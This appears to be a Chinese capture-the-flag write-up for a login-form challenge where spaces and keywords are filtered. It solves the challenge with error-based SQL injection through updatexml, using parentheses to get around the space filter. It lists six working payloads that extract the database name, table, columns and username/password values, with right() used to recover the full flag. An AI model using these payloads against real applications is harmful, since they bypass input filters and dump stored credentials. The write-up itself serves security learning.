对登录框进行fuzz测试,发现大部分关键词都被过滤,包括空格也被过滤。
本题采用报错注入的方式进行注入,采用updatexml函数,同时使用()对空格过滤进行绕过。
1.判断当前用户名
1'or(updatexml(1,concat(0x7e,(select(user())),0x7e),1))#

2.判断当前数据库
1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#

当前数据库为’geek’
3.获取当前表名
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

当前表名为H4rDsq1
4.获取当前字段名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

5.获取字段值
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'@',password))from(H4rDsq1)),0x7e),1))#

获取到一半的flag值flag{d0990b7e-457a-4d73-9d
6.使用right函数获取右侧的另一半flag
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,20))))from(H4rDsq1)),0x7e),1))#

最终flag为flag{d0990b7e-457a-4d73-9dcb-e2697805283e}
841

被折叠的 条评论
为什么被折叠?



